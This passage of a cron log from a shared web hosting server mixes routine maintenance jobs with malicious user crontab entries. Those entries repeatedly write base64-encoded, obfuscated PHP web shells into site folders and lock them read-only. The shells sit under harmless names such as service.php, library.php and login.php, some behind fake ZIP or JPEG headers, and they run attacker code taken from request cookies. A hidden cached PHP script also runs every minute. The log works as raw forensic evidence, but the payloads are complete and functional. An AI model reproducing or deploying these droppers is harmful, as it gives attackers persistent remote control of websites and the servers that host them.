KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:15:01 medusa CROND[1629]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 13:15:01 medusa CROND[1631]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 13:15:01 medusa CROND[1632]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 13:15:01 medusa CROND[1633]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 13:15:01 medusa CROND[1635]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:15:01 medusa CROND[1625]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 13:15:01 medusa CROND[1630]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 13:15:01 medusa CROND[1634]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 13:15:01 medusa CROND[1644]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:15:01 medusa CROND[1652]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 13:15:01 medusa CROND[1653]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 13:15:01 medusa CROND[1657]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:15:01 medusa CROND[1659]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 13:15:01 medusa CROND[1655]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 13:15:01 medusa CROND[1656]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 13:15:01 medusa CROND[1680]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  2 13:15:01 medusa CROND[1681]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 13:16:01 medusa CROND[10734]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 13:16:01 medusa CROND[10773]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 13:16:01 medusa CROND[10827]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 13:16:01 medusa CROND[10967]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 13:16:01 medusa CROND[10968]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:16:01 medusa CROND[10969]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 13:16:01 medusa CROND[10972]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 13:16:01 medusa CROND[10973]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:16:01 medusa CROND[10974]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:16:01 medusa CROND[10983]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 13:16:01 medusa CROND[10984]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 13:16:01 medusa CROND[10985]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:16:01 medusa CROND[10986]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 13:16:01 medusa CROND[10989]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 13:17:02 medusa CROND[18991]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 13:17:02 medusa CROND[18992]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 13:17:02 medusa CROND[18993]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 13:17:02 medusa CROND[18994]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:17:02 medusa CROND[18995]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Mar  2 13:17:02 medusa CROND[18996]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:17:02 medusa CROND[19000]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
